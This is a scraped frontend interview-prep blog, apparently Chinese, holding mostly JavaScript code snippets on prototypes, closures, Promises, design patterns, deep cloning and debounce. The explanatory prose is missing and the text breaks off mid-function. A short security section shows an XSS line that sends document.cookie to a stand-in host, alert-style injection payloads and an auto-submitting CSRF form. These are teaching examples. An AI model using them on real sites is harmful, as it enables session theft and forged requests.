zhentonglee / blog Goto Github PK

let p = {name: 'p'};
let o3 = Object.create(p);
o3.__proto__ === p // true

let A = function() {};
A.prototype.n = 1;
let b = new A();
A.prototype = {
  n: 2,
  m: 3
};
let c = new A();
console.log(b.n);//1
console.log(b.m);//undefined
console.log(c.n);//2
console.log(c.m);//3

let A = function() {};
A.prototype.n = 1;
let b = new A();
A.prototype.n = 2;
let c = new A();
console.log(b.n);//2
console.log(c.n);//2

let F = function() {};
Object.prototype.a = function() {
  console.log('a');
};
Function.prototype.b = function() {
  console.log('b');
};
let f = new F();
f.a();//a
f.b();//b is not a function
F.a();//a
F.b();//b

function Person(name) {
    this.name = name;
};
let p = new Person('Tom');

let foo = {};
let F = function(){};
Object.prototype.a = 'value a';
Function.prototype.b = 'value b';
console.log(foo.a);//value a
console.log(foo.b);//undefined
console.log(F.a);//value a
console.log(F.b);//value b

function A() {
    let a = 1
    function B() {
        a++
        console.log(a)
    }
    return B
}
let f0 = A()
let f1 = A()
f0()//2
f0()//3
f0()//4
f1()//2

for ( var i=1; i<=5; i++) {
    setTimeout( function timer() {
        console.log( i );
    },  i*1000 );
}

for ( var i=1; i<=5; i++) {
    (function(j){
        setTimeout( function timer() {
            console.log( j );
        },  j*1000 );
    })(i);
}

for ( var i=1; i<=5; i++) {
    setTimeout( function timer(j) {
        console.log( j );
    },  i*1000, i );
}

for ( let i=1; i<=5; i++) {
    setTimeout( function timer() {
        console.log( i );
    },  i*1000 );
}

var a = 10
function foo(i) {
  var b = 20
}
foo()

stack = [
    globalContext,
    fooContext
]

globalContext.VO = {
    a: undefined,
    foo: <Function>
}

fooContext.VO === foo.AO
fooContext.AO {
    i: undefined,
    b: undefined,
    arguments: <>
}
// arguments 是函数独有的对象(箭头函数没有)
// 该对象是一个伪数组，有 `length` 属性且可以通过下标访问元素
// 该对象中的 `callee` 属性代表函数本身
// `caller` 属性代表函数的调用者

fooContext.[[Scope]] = [
    globalContext.VO
]
fooContext.Scope = fooContext.[[Scope]] + fooContext.VO
fooContext.Scope = [
    fooContext.VO,
    globalContext.VO
]

let a = 10
let b = 90
function c(){
    a = 20
    let b = 80
    console.log(a,b)// 20 80
}
c()
console.log(a,b)// 20 90

b() // call b
console.log(a) // undefined
var a = 'Hello world'
function b() {
    console.log('call b')
}

b() // call b second
console.log(b)// ƒ b() {console.log('call b second')}
function b() {
    console.log('call b fist')
}
function b() {
    console.log('call b second')
}
var b = 'Hello world'
console.log(b)// Hello world

var a = 2
function test() {
    console.log(a)// 报错
    let a = 5
}
test()

var a = 3;
function change(a) {// 相当于重新声明一个变量在函数局部作用域。var a = 3
    a = 4;
}
change(a)
alert(a); // 3


var user = {age:30}
function change2(user) {相当于重新声明一个变量在函数局部作用域。var user = user，指向相同的对象
    user.age = 40;
}
change2(user); // 因为user是对象，传递的是地址
alert(user.age); // 40


function change3(user) {相当于重新声明一个变量在函数局部作用域。var user = user，指向相同的对象
    user = {age:50} // 赋值，指向一个新对象
}
change3(user); 
alert(user.age); // 40

// ES5 的写法
Math.max.apply(null, [14, 3, 77, 30]);
 
// ES6 的写法
Math.max(...[14, 3, 77, 30]);
 
// reduce
[14,3,77,30].reduce((accumulator, currentValue)=>{
    return accumulator = accumulator > currentValue ? accumulator : currentValue
});

[...new Set(arr)]
Array.from(new Set(arr))

Array.filter() + indexOf

双重 for 循环

for...of + includes()

for...of + Object

https://www.jianshu.com/p/6300a031dba5

let val = 1;
Object.defineProperty(window, 'a', {
    get: function() {
      return val++;
    }
});
a == 1 && a == 2 && a == 3; // true

const a = {
    i: 1,
    // valueOf 也可达到相同效果
    toString: function () {
      return a.i++;
    }
}

Array.from(new Array(120)).map((item,index)=>120 - index);
[...new Array(120)].map((item,index)=>120 - index);

function loadImg(src) {
    let promise = new Promise((resolve, reject) => {
        let img = document.createElement('img')
        img.onload = function () {
            resolve(img)
        }
        img.onerror = function () {
            reject('图片加载失败')
        }
        img.src = src
    })
    return promise
}
let src = 'xxxx'
let result = loadImg(src)
result.then(function (img) {
    return img
}).then(function (img) {

}).catch(function (err) {

})
// 每个then只做一件事，新需求可以通过增加新的then扩展，体现S O原则

class jQuery {
    constructor(seletor) {
        let slice = Array.prototype.slice
        let dom = slice.call(document.querySelectorAll(seletor))
        let len = dom ? dom.length : 0
        for (let i = 0; i < len; i++) {
            this[i] = dom[i]
        }
        this.length = len
        this.seletor = seletor || ''
    }
    append(node) {

    }
    addClass(name) {

    }
    html(data) {

    }
    // ...
}
window.$ = function (seletor) {
    // 工厂模式
    return new jQuery(seletor)
}
// $( 'div' ) 与 new $( 'div' ) 有何区别？
// 书写麻烦，jQuery 的链式操作将成为噩耗
// 一旦 jQuery 名字变化，将是灾难性的

class Vnode( tag, attrs, children ) {
    // ...
}
React.createElement = function (tag, attrs, children) {
    // ...
    return new Vnode( tag, attrs, children );
}

class SingleObject {
    login() {
        console.log('login...')
    }
}
SingleObject.getInstance = (function () {
    let instance // 闭包
    return function () {
        if (!instance) {
            instance = new SingleObject()
        }
        return instance
    }
})()

class Adaptee {
  specificRequest() {
    return '德国标准接头'
  }
}
class Target {
  constructor() {
    this.adaptee = new Adaptee()
  }
  request() {
    let info = this.adaptee.specificRequest()
    return `${info}-转换器-**标准`
  }
}
// 测试
let target = new Target()
target.request()

class Iterator {
  constructor(container) {
    this.list = container.list
    this.index = 0
  }
  next() {
    if (this.hasNext()) {
      return this.list[this.index++]
    }
    return null
  }
  hasNext() {
    if (this.index >= this.list.length) {
      return false
    }
    return true
  }
}
class Container {
  constructor(list) {
    this.list = list
  }
  getIterator() {
    return new Iterator(this)
  }
}
// 测试
let arr = [1, 2, 3, 4, 5, 6]
let container = new Container(arr)
let iterator = container.getIterator()
while (iterator.hasNext()) {
  console.log(iterator.next())
}

// 如何能写出一个方法来遍历这三种对象呢？
function each(data) {
  var $data = $(data)
  $data.each(function (key, p) {
    console.log(key, p)
  })
}
// 测试
each(arr)
each(nodeList)
each($p)

// 如何能写出一个方法来遍历这三种对象呢？
function each(data) {
  let iterator = data[Symbol.iterator]()
  let item = { done: false }
  while (!item.done) {
    item = iterator.next()
    if (!item.done) {
      console.log(item.value)
    }
  }
}
// 测试
each(arr)
each(nodeList)
each($p)

function each(data) {
  for ( let item of data ) {
    console.log( item )
  }
}

// 状态，红、绿、黄
class State {
  constructor(color) {
    this.color = color
  }
  handle(context) {
    console.log(`turn to ${this.color} light`)
    context.setState(this)
  }
}
// 主体
class Context {
  constructor() {
    this.state = null
  }
  getState() {
    return this.state
  }
  setState(state) {
    this.state = state
  }
}
// 测试
let context = new Context()
let green = new State('green')
let red = new State('red')
let yellow = new State('yellow')
green.handle(context)
console.log(context.getState())
red.handle(context)
console.log(context.getState())
yellow.handle(context)
console.log(context.getState())

function Parent1 () {
    this.name = 'parent1';
}
Parent1.prototype.say = function () {};
function Child1 () {
    Parent1.call(this);
    this.type = 'child1';
}
// 但是父类的原型并不能继承

function Parent2 () {
    this.name = 'parent2';
    this.list = [1,2,3];
}
function Child2 () {
    this.type = 'child2';
}
Child2.prototype = new Parent2 ();
// 但是子类的实例都共用了list，也就是原型（链）上的对象共用

function Parent3 () {
    this.name = 'parent3';
    this.list = [1,2,3];
}
function Child3 () {
    Parent3.call(this);
    this.type = 'child3';
}
Child3.prototype = new Parent3 ();
// 但是父类构造函数执行了两次

function Parent4 () {
    this.name = 'parent4';
    this.list = [1,2,3];
}
function Child4 () {
    Parent4.call(this);
    this.type = 'child4';
}
Child4.prototype = Parent4.prototype;
let c4 = new Child4();
// 但是怎么判断实例的直接构造函数呢 3也存在这个问题
// instanceof无法判断
// c4.constructor 是 Parent4

function Parent5 () {
    this.name = 'parent5';
    this.list = [1,2,3];
}
function Child5 () {
    Parent5.call(this);
    this.type = 'child5';
}
Child5.prototype = Object.create(Parent5.prototype);
Child5.prototype.constructor = Child5;
// Child5.prototype.__proto__ === Parent5.prototype 
// Object.create( {name: 'tom'} ) 有助于理解

console.log(instance instanceof Object);
console.log(instance instanceof Father);
console.log(instance instanceof Son);

console.log(Object.prototype.isPrototypeOf(instance));
console.log(Father.prototype.isPrototypeOf(instance));
console.log(Son.prototype.isPrototypeOf(instance));

function Father(){
	this.colors = ["red","blue","green"];
}
function Son(){
	Father.call(this);//继承了Father，且向父类型传递参数
}
let instance1 = new Son();
instance1.colors.push("black");
console.log(instance1.colors);//"red,blue,green,black"

let instance2 = new Son();
console.log(instance2.colors);//"red,blue,green" 可见引用类型值是独立的

function Father(name){
	this.name = name;
	this.colors = ["red","blue","green"];
}
Father.prototype.sayName = function(){
	console.log(this.name);
};
function Son(name,age){
	Father.call(this,name);//继承实例属性，第一次调用Father()
	this.age = age;
}
Son.prototype = new Father();//继承父类方法，第二次调用Father()
Son.prototype.sayAge = function(){
	console.log(this.age);
}
let instance1 = new Son("peter",5);
instance1.colors.push("black");
console.log(instance1.colors);//"red,blue,green,black"
instance1.sayName();//peter
instance1.sayAge();//5

let instance2 = new Son("tom",10);
console.log(instance2.colors);//"red,blue,green"
instance2.sayName();//tom
instance2.sayAge();//10

function object(o){
	function F(){}
	F.prototype = o;
	return new F();
}

let person = {
	friends : ["Van","Louis","Nick"]
};
let anotherPerson = object(person);
anotherPerson.friends.push("Rob");
let yetAnotherPerson = object(person);
yetAnotherPerson.friends.push("Style");
console.log(person.friends);//"Van,Louis,Nick,Rob,Style"

let person = {
	name : "Van"
};
let anotherPerson = Object.create(person, {
	name : {
		value : "Louis"
	}
});
console.log(anotherPerson.name);//"Louis"

function createAnother(original){
	let clone = object(original);//通过调用object函数创建一个新对象
	clone.sayHi = function(){//以某种方式来增强这个对象
		alert("hi");
	};
	return clone;//返回这个对象
}

function extend(subClass, superClass){
	let prototype = object(superClass.prototype);//创建对象
	prototype.constructor = subClass;//增强对象
	subClass.prototype = prototype;//指定对象
}

function myInstanceof(left, right) {
    // 获得类型的原型
    let prototype = right.prototype
    // 获得对象的原型
    left = left.__proto__
    // 判断对象的原型是否等于类型的原型
    while (true) {
    	if (left === null)
    		return false
    	if (prototype === left)
    		return true
    	left = left.__proto__
    }
}

  // 判断变量否为function
  const isFunction = variable => typeof variable === 'function'
  // 定义Promise的三种状态常量
  const PENDING = 'pending'
  const FULFILLED = 'fullfilled'
  const REJECTED = 'rejected'

  class MyPromise {
    constructor (handle) {
      if (!isFunction(handle)) {
        throw new Error('MyPromise must accept a function as a parameter')
      }
      // 添加状态
      this._status = PENDING
      // 添加值
      this._value = undefined
      // 用于保存 then 中的回调，只有当 promise，
      // 状态为 pending 时才会缓存，并且每个实例至多缓存一个
      this._fulfilledQueues = []
      this._rejectedQueues = []
      // 执行handle，用于解决以下问题new Promise(() => throw Error('error))
      try {
        handle(this._resolve.bind(this), this._reject.bind(this)) 
      } catch (err) {
        this._reject(err)
      }
    }
    // 添加resovle时执行的函数
    _resolve (val) {
      const run = () => {
        if (this._status !== PENDING) return
        this._status = FULFILLED
        // 依次执行成功队列中的函数，并清空队列
        const runFulfilled = (value) => {
          let cb;
          while (cb = this._fulfilledQueues.shift()) {
            cb(value)
          }
        }
        // 依次执行失败队列中的函数，并清空队列
        const runRejected = (error) => {
          let cb;
          while (cb = this._rejectedQueues.shift()) {
            cb(error)
          }
        }
        /* 如果resolve的参数为Promise对象，则必须等待该Promise对象状态改变后,
          当前Promsie的状态才会改变，且状态取决于参数Promsie对象的状态
        */
        if (val instanceof MyPromise) {
          val.then(value => {
            this._value = value
            runFulfilled(value)
          }, err => {
            this._value = err
            runRejected(err)
          })
        } else {
          this._value = val
          runFulfilled(val)
        }
      }
      // 为了支持同步的Promise，这里采用异步调用
      setTimeout(run, 0)
    }
    // 添加reject时执行的函数
    _reject (err) { 
      if (this._status !== PENDING) return
      // 依次执行失败队列中的函数，并清空队列
      const run = () => {
        this._status = REJECTED
        this._value = err
        let cb;
        while (cb = this._rejectedQueues.shift()) {
          cb(err)
        }
      }
      // 为了支持同步的Promise，这里采用异步调用
      setTimeout(run, 0)
    }
    // 添加then方法
    then (onFulfilled, onRejected) {
      const { _value, _status } = this
      // 返回一个新的Promise对象
      return new MyPromise((onFulfilledNext, onRejectedNext) => {
        // 封装一个成功时执行的函数
        let fulfilled = value => {
          try {
            if (!isFunction(onFulfilled)) {
              onFulfilledNext(value)
            } else {
              let res =  onFulfilled(value);
              if (res instanceof MyPromise) {
                // 如果当前回调函数返回MyPromise对象，必须等待其状态改变后在执行下一个回调
                res.then(onFulfilledNext, onRejectedNext)
              } else {
                //否则会将返回结果直接作为参数，传入下一个then的回调函数，并立即执行下一个then的回调函数
                onFulfilledNext(res)
              }
            }
          } catch (err) {
            // 如果函数执行出错，新的Promise对象的状态为失败
            onRejectedNext(err)
          }
        }
        // 封装一个失败时执行的函数
        let rejected = error => {
          try {
            if (!isFunction(onRejected)) {
              onRejectedNext(error)
            } else {
                let res = onRejected(error);
                if (res instanceof MyPromise) {
                  // 如果当前回调函数返回MyPromise对象，必须等待其状态改变后在执行下一个回调
                  res.then(onFulfilledNext, onRejectedNext)
                } else {
                  //否则会将返回结果直接作为参数，传入下一个then的回调函数，并立即执行下一个then的回调函数
                  onFulfilledNext(res)
                }
            }
          } catch (err) {
            // 如果函数执行出错，新的Promise对象的状态为失败
            onRejectedNext(err)
          }
        }
        switch (_status) {
          // 当状态为pending时，将then方法回调函数加入执行队列等待执行
          case PENDING:
            this._fulfilledQueues.push(fulfilled)
            this._rejectedQueues.push(rejected)
            break
          // 当状态已经改变时，立即执行对应的回调函数
          case FULFILLED:
            fulfilled(_value)
            break
          case REJECTED:
            rejected(_value)
            break
        }
      })
    }
    // 添加catch方法
    catch (onRejected) {
      return this.then(undefined, onRejected)
    }
    // 添加静态resolve方法
    static resolve (value) {
      // 如果参数是MyPromise实例，直接返回这个实例
      if (value instanceof MyPromise) return value
      return new MyPromise(resolve => resolve(value))
    }
    // 添加静态reject方法
    static reject (value) {
      return new MyPromise((resolve ,reject) => reject(value))
    }
    // 添加静态all方法
    static all (list) {
      return new MyPromise((resolve, reject) => {
        /**
         * 返回值的集合
         */
        let values = []
        let count = 0
        for (let [i, p] of list.entries()) {
          // 数组参数如果不是MyPromise实例，先调用MyPromise.resolve
          this.resolve(p).then(res => {
            values[i] = res
            count++
            // 所有状态都变成fulfilled时返回的MyPromise状态就变成fulfilled
            if (count === list.length) resolve(values)
          }, err => {
            // 有一个被rejected时返回的MyPromise状态就变成rejected
            reject(err)
          })
        }
      })
    }
    // 添加静态race方法
    static race (list) {
      return new MyPromise((resolve, reject) => {
        for (let p of list) {
          // 只要有一个实例率先改变状态，新的MyPromise的状态就跟着改变
          this.resolve(p).then(res => {
            resolve(res)
          }, err => {
            reject(err)
          })
        }
      })
    }
    finally (cb) {
      return this.then(
        value  => MyPromise.resolve(cb()).then(() => value),
        reason => MyPromise.resolve(cb()).then(() => { throw reason })
      );
    }
  }

var name = "windows";
function a() {
      var name = "mac";
      console.log(this.name);// windows
      console.log("inner:" + this);// inner: Window
}
a();
console.log("outer:" + this);// outer: Window

var name = "windows";
let a = {
    name: "mac",
    fn: function(){
        console.log(this.name);//mac
    }
};
a.fn();

var name = "windows";
let a = {
    fn: function(){
        console.log(this.name);//undefined
    }
};
a.fn();

var name = "windows";
let a = {
    name: 'mac',
    fn: function(){
        console.log(this.name);//windows
    }
};
let f = a.fn;
f();

var name = "windows";
function outer() {
    var name = "mac";
    inner();
    function inner() {
        console.log(this.name);//windows
    }
}
outer();

function fn() {
    console.log(this);  // {a: 100}
    let arr = [1, 2, 3];
    arr.map(function (item) {
        console.log(this);  // window  可以理解为“匿名函数的 this 永远指向 window”
    });
    arr.map(item => {
        console.log(this);  // {a: 100}  箭头函数不绑定this，会捕获其所在的上下文的this值
    });
}
fn.call({a: 100});

let obj = {
  a: 10,
  b: () => {
    console.log(this.a); // undefined
    console.log(this); // Window {postMessage: ƒ, blur: ƒ, focus: ƒ, close: ƒ, frames: Window, …}
  },
  c: function() {
    console.log(this.a); // 10
    console.log(this); // {a: 10, b: ƒ, c: ƒ}
  }
}
obj.b(); 
obj.c();

let obj = {
  a: 10,
  b: function(){
    console.log(this.a); //10
  },
  c: function() {
     return ()=>{
           console.log(this.a); //10
     }
  }
}
obj.b(); 
obj.c()();

let obj = {
  a: 10,
  b: function(){
    console.log(this.a); //10
  },
  c: ()=> {
     return ()=>{
           console.log(this.a); //undefined
     }
  }
}
obj.b(); 
obj.c()();

function A(a){
  console.log(arguments);
}
A(1,2,3,4,5,8);  //  [1, 2, 3, 4, 5, 8, callee: ƒ, Symbol(Symbol.iterator): ƒ]
let B = (b)=>{
  console.log(arguments);
}
B(2,92,32,32);  // Uncaught ReferenceError: arguments is not defined
let C = (...c) => {
  console.log(c);
}
C(3,82,32,11323);  // [3, 82, 32, 11323]

let obj = {
  a: 10,
  b: () => {
    console.log(this.a); // undefined
    console.log(this); // Window {postMessage: ƒ, blur: ƒ, focus: ƒ, close: ƒ, frames: Window, …}
  },
  c: function() {
    console.log(this.a); // 10
    console.log(this); // {a: 10, b: ƒ, c: ƒ}
  }
}
obj.b(); 
obj.c();

let obj = {
  a: 10,
  b: function(){
    console.log(this.a); //10
  },
  c: function() {
     return ()=>{
           console.log(this.a); //10
     }
  }
}
obj.b(); 
obj.c()();

let obj = {
    a: 10,
    b: function(n) {
        let f = (n) => n + this.a;
        return f(n);
    },
    c: function(n) {
        let f = (n) => n + this.a;
        let m = {
            a: 20
        };
        return f.call(m,n);
    }
};
console.log(obj.b(1));  // 11
console.log(obj.c(1));  // 11

let a = () =>{
  return 1;
}
function b() {
  return 2;
}
console.log(a.prototype);  // undefined
console.log(b.prototype);  // {constructor: ƒ}

function clone(target) {
    let cloneTarget = {};
    for (const key in target) {
        cloneTarget[key] = target[key];
    }
    return cloneTarget;
};

function clone(target) {
    if (typeof target === 'object') {
        let cloneTarget = {};
        for (const key in target) {
            cloneTarget[key] = clone(target[key]);
        }
        return cloneTarget;
    } else {
        return target;
    }
};

function clone(target) {
    if (typeof target === 'object') {
        let cloneTarget = Array.isArray(target) ? [] : {};
        for (const key in target) {
            cloneTarget[key] = clone(target[key]);
        }
        return cloneTarget;
    } else {
        return target;
    }
};

const target = {
    field1: 1,
    field2: [2, 4, 8]
};
target.target = target;

function clone(target, map = new WeakMap()) {
    if (typeof target === 'object') {
        let cloneTarget = Array.isArray(target) ? [] : {};
        if (map.get(target)) {
            return map.get(target);
        }
        map.set(target, cloneTarget);
        for (const key in target) {
            cloneTarget[key] = clone(target[key], map);
        }
        return cloneTarget;
    } else {
        return target;
    }
};

function forEach(array, callback) {
    let index = -1;
    const length = array.length;
    while (++index < length) {
        callback(array[index], index);
    }
    return array;
}

function clone(target, map = new WeakMap()) {
    if (typeof target === 'object') {
        const isArray = Array.isArray(target);
        let cloneTarget = isArray ? [] : {};

        if (map.get(target)) {
            return map.get(target);
        }
        map.set(target, cloneTarget);

        const keys = isArray ? undefined : Object.keys(target);
        forEach(keys || target, (value, key) => {
            if (keys) {
                key = value;
            }
            cloneTarget[key] = clone(target[key], map);
        });

        return cloneTarget;
    } else {
        return target;
    }
}

function isObject(target) {
    const type = typeof target;
    return target !== null && (type === 'object' || type === 'function');
}

function getType(target) {
    return Object.prototype.toString.call(target);
}

const mapTag = '[object Map]';
const setTag = '[object Set]';
const arrayTag = '[object Array]';
const objectTag = '[object Object]';

const boolTag = '[object Boolean]';
const dateTag = '[object Date]';
const errorTag = '[object Error]';
const numberTag = '[object Number]';
const regexpTag = '[object RegExp]';
const stringTag = '[object String]';
const symbolTag = '[object Symbol]';

function getInit(target) {
    const Ctor = target.constructor;
    return new Ctor();
}

function clone(target, map = new WeakMap()) {

    // 克隆原始类型
    if (!isObject(target)) {
        return target;
    }

    // 初始化
    const type = getType(target);
    let cloneTarget;
    if (deepTag.includes(type)) {
        cloneTarget = getInit(target, type);
    }

    // 防止循环引用
    if (map.get(target)) {
        return map.get(target);
    }
    map.set(target, cloneTarget);

    // 克隆set
    if (type === setTag) {
        target.forEach(value => {
            cloneTarget.add(clone(value,map));
        });
        return cloneTarget;
    }

    // 克隆map
    if (type === mapTag) {
        target.forEach((value, key) => {
            cloneTarget.set(key, clone(value,map));
        });
        return cloneTarget;
    }

    // 克隆对象和数组
    const keys = type === arrayTag ? undefined : Object.keys(target);
    forEach(keys || target, (value, key) => {
        if (keys) {
            key = value;
        }
        cloneTarget[key] = clone(target[key], map);
    });

    return cloneTarget;
}

function cloneOtherType(target, type) {
    const Ctor = target.constructor;
    switch (type) {
        case boolTag:
        case numberTag:
        case stringTag:
        case errorTag:
        case dateTag:
            return new Ctor(target);
        case regexpTag:
            return cloneReg(target);
        case symbolTag:
            return cloneSymbol(target);
        default:
            return null;
    }
}
克隆Symbol
function cloneSymbol(target) {
    return Object(Symbol.prototype.valueOf.call(target));
}
克隆正则：
function cloneReg(target) {
    const reFlags = /\w*$/;
    const result = new target.constructor(target.source, reFlags.exec(target));
    result.lastIndex = target.lastIndex;
    return result;
}

Function.prototype.myCall = function(context) {
    //不传入第一个参数，那么默认为 window
    context = context || window;
    //给 context 添加一个属性
    context.fn = this; // this 就是调用myCall的函数
    //将 context 后面的参数取出来
    let args = [...arguments].slice(1);
    //执行函数
    let result = context.fn(...args);
    //删除 fn
    delete context.fn;
    //返回函数执行后的结果
    return result;
}

Function.prototype.myApply = function(context) {
    context = context || window;
    context.fn = this;
    let result;
    if(arguments[1]){
        result = context.fn(...arguments[1]);
    }else{
        result = context.fn();
    }
    delete context.fn;
    return result;
}

Function.prototype.myBind = function (context, ...args) {
  if (!context || context === null) {
    context = window;
  }
  // 创造唯一的key值  作为我们构造的context内部方法名
  let fn = Symbol();
  context[fn] = this;
  let _this = this;
  //  bind情况要复杂一点
  const result = function (...innerArgs) {
    // 第一种情况 :若是将 bind 绑定之后的函数当作构造函数，通过 new 操作符使用，则不绑定传入的 this，而是将 this 指向实例化出来的对象
    // 此时由于new操作符作用  this指向result实例对象  而result又继承自传入的_this 根据原型链知识可得出以下结论
    // this.__proto__ === result.prototype   //this instanceof result =>true
    // this.__proto__.__proto__ === result.prototype.__proto__ === _this.prototype; //this instanceof _this =>true
    if (this instanceof _this === true) {
      // 此时this指向指向result的实例  这时候不需要改变this指向
      this[fn] = _this;
      this[fn](...[...args, ...innerArgs]); //这里使用es6的方法让bind支持参数合并
    } else {
      // 如果只是作为普通函数调用  那就很简单了 直接改变this指向为传入的context
      context[fn](...[...args, ...innerArgs]);
    }
  };
  // 如果绑定的是构造函数 那么需要继承构造函数原型属性和方法
  // 实现继承的方式: 使用Object.create
  result.prototype = Object.create(this.prototype);
  return result;
};

function  ConvertDigital(value) {
  if (!value) return 0;
  // 获取整数部分
  const intPart = Math.trunc(value);
  // 整数部分处理，增加,
  // 正则处理
  // const intPartStr = intPart.toString().replace(/(\d)(?=(?:\d{3})+$)/g, "$1,");
  // 遍历处理
  let intPartStr = intPart.toString()
  const len = intPartStr.length
  const arr = intPartStr.split('')
  for(let i = 1; i < len; i++) {
    j = len - i
    if(i % 3 === 0) {
      arr.splice(j, 0 , ',')
    }
  }
  intPartStr = arr.join('')

  // 预定义小数部分
  let floatPart = "";
  // 将数值截取为小数部分和整数部分
  const valueArray = value.toString().split(".");
  if (valueArray.length === 2) {
    // 有小数部分
    floatPart = valueArray[1].toString(); // 取得小数部分
    return intPartStr + "." + floatPart;
  }
  return intPartStr + floatPart;
}

/**
 * @desc 函数防抖
 * @param func 函数
 * @param wait 延迟执行毫秒数
 * @param immediate true 表立即执行，false 表非立即执行
 */
function debounce(func, wait = 1000, immediate = true) {
    let timeout;

    return function () {
        let context = this;
        let args = arguments;

        if (timeout) clearTimeout(timeout);
        if (immediate) {
            var callNow = !timeout;
            timeout = setTimeout(() => { // setTimeout返回的值从1开始不断递增
                timeout = null;
            }, wait)
            if (callNow) func.apply(context, args)
        } else {
            timeout = setTimeout(function(){
                func.apply(context, args)
            }, wait);
        }
    }
}

/**
 * @desc 函数节流
 * @param func 函数
 * @param wait 延迟执行毫秒数
 * @param type 1 表时间戳版，2 表定时器版
 */
function throttle(func, wait = 1000 ,type = 1) {
    if(type===1){
        var previous = 0;
    }else if(type===2){
        var timeout;
    }
    return function() {
        let context = this;
        let args = arguments;
        if(type===1){
            let now = Date.now();

            if (now - previous > wait) {
                func.apply(context, args);
                previous = now;
            }
        }else if(type===2){
            if (!timeout) {
                timeout = setTimeout(() => {
                    timeout = null;
                    func.apply(context, args)
                }, wait)
            }
        }
    }
}

window['_weixin_scan_callback'] = function (result) {

}
let iframe = document.createElement('iframe')
iframe.style.display = 'none'
iframe.src = 'weixin://dl/scan?k1=v1&k2=v2&callback=_weixin_scan_callback'
let body = document.body || document.getElementsByTagName('body')[0]
body.appendChild(iframe)
setTimeout(function () {
    body.removeChild(iframe) // 销毁 iframe
    iframe = null
})

location.href = "http://c.com/?" + document.cookie;

<img src="null" onerror="alert(1)"/>
<p onclick="alert(1)">点我</p>
<iframe src="www.baidu.com"></iframe> // （插入各种广告） 

<form id="test" method="POST" action="http://domain_a.com/guestbook">
    <input type="hidden" name="content" value="vim是编辑器" />
</form>
<script type="text/javascript">
$(function () {
    $("#test").submit();
});
</script>

const convert = (data, parentId) => {
  let res = []
  data.forEach(item => {
    if (item.parent_id === parentId) {
      res.push(item)
      convertChild(data, item, item.id)
    }
  })
  return res
}
const convertChild = (data, parentItem, parentId) => {
  parentItem.children = parentItem.children ? parentItem.children : []
  data.forEach(item => {
    if (item.parent_id === parentId) {
      parentItem.children.push(item)
      convertChild(data, item, item.id)
    }
  })
  return parentItem.children
}

let data = [
  { id: 1, label: "**", parent_id: 0 },
  { id: 2, label: "北京", parent_id: 1 },
  { id: 3, label: "上海", parent_id: 1 },
  { id: 4, label: "广东", parent_id: 1 },
  { id: 5, label: "广州", parent_id: 4 },
  { id: 6, label: "深圳", parent_id: 4 },
]

convert(data, 0)

/**
 *递归查询，获取children
 * @param data
 * @param result
 * @param pid
 */
const getChildren = (data, result, pid) => {
  for (const item of data) {
    if (item.pid === pid) {
      const newItem = { ...item, children: [] };
      result.push(newItem);
      getChildren(data, newItem.children, item.id);
    }
  }
}
/**
 * 转换方法
 */
const arrayToTree = (data, pid) => {
  const result = [];
  getChildren(data, result, pid);
  return result;
}
arrayToTree(arr, 0)

/**第三种办法（最优性能）
 * 思路：把数据转换Map去存储，之后遍历的同时借助对象引用，直接从Map找对应的数据做存储。
 *     （不同点在遍历的时候即做Map存储，有找对应关系。性能会更好。）
 * */
function arrayToTreeII(items) {
  const result = [];  //存放结果集
  const itemMap = {};
  for (const item of items) {
    const id = item.id;
    const pid = item.pid;

    if (!itemMap[id]) {
      itemMap[id] = {
        children: [],
      }
    }
    itemMap[id] = {
      ...item,
      children: itemMap[id]['children']
    }

    const treeItem = itemMap[id];

    if (pid === 0) {
      result.push(treeItem);
    } else {
      if (!itemMap[pid]) {
        itemMap[pid] = {
          children: [],
        }
      }
      itemMap[pid].children.push(treeItem);
    }
  }
  return result
}
arrayToTreeII(arr)

let row = {
  "总经办": {
    "财务部": {
      "财务总监": "张三"
    },
    "人事部": {
      "人事总监": "李四",
      "人事专员": "小明"
    }
  }
}

let resultList = {};
function dataTotree(data) {
  const result = [];
  Object.keys(data).forEach(key => {
    const item = {
      label: key,
      children: data[key]
    }
    if (item.children instanceof Object) {
      item.children = dataTotree(data[key])
    } else {
      item.children = [{ label: data[key] }];
    }
    result.push(item)
  })
  return result;
}
let result = dataTotree(row);

//展平为一层
const flat = (arr) => { 
   return [].concat(...arr.map(x => Array.isArray(x) ? flat(x) : x));
}

//展平多层，deep表示展平的层数，从外层往内层开始。
function flattenByDeep(arr, deep){
    let result = [];
    for(let i = 0; i < arr.length; i++){
        if(Array.isArray(arr[i]) && deep >= 1){
            result = result.concat(flattenByDeep(arr[i], deep - 1));
        }else{
            result.push(arr[i]);
        }
    }
    return result;
}

Array.prototype.filter = function(fn,context){
    if(typeof fn != 'function'){
        throw new TypeError(`${fn} is not a function`);
    }
    let arr = this;
    let result = [];
    for(var i = 0;i < arr.length; i++){
        let temp= fn.call(context, arr[i], i, arr);
        if(temp){
            result.push(arr[i]);
        }
    }
    return result;
}

class EventEmitter {
    constructor() {
        this.events = {};
    }
    on(name, cb) {
         if(!this.events[name]){
             this.events[name] = [cb];
        }else{
             this.events[name].push(cb);
        }
    }
    emit(name, ...args) {
        if(this.events[name]) {
            this.events[name].forEach(fn => {
                fn.call(this, ...args);
            });
        }
    }
    off(name,cb){
        if(this.events[name]){
            this.events[name] = this.events[name].filter(fn => {
                return fn != cb
            })
        }
    }
    once(name,fn){
        var onlyOnce = () => {
            fn.apply(this,arguments);
            this.off(name,onlyOnce)
        }
        this.on(name,onlyOnce);
        return this;
    }
}

const a = await new Promise((resolve, reject) => {
    // async process ...
    return resolve(data);
});
console.log(a);

const a = await 'hello world'
// 相当于
const a = await Promise.resolve('hello world');
// 跟同步代码是一样的，还不如省事点，直接去掉await关键字
const a = 'hello world';

class jQuery {
    constructor(seletor) {
        let slice = Array.prototype.slice
        let dom = slice.call(document.querySelectorAll(seletor))
        let len = dom ? dom.length : 0
        for (let i = 0; i < len; i++) {
            this[i] = dom[i]
        }
        this.length = len
        this.seletor = seletor || ''
    }
    append(node) {

    }
    addClass(name) {

    }
    html(data) {

    }
    // ...
}
window.$ = function (seletor) {
    // 工厂模式
    return new jQuery(seletor)
}

(function (window) {
  var jQuery = function (selector) {
    return new jQuery.fn.init(selector)
  }

  jQuery.fn = {
    css: function (key, value) {
      console.log('css')
    },
    html: function (value) {
      console.log('html')
    }
  }

  // 构造函数
  var init = jQuery.fn.init = function (selector) {
    var slice = Array.prototype.slice
    var dom = slice.call(document.querySelectorAll(selector))

    var i, len = dom ? dom.length : 0
    for (i = 0; i < len; i++) {
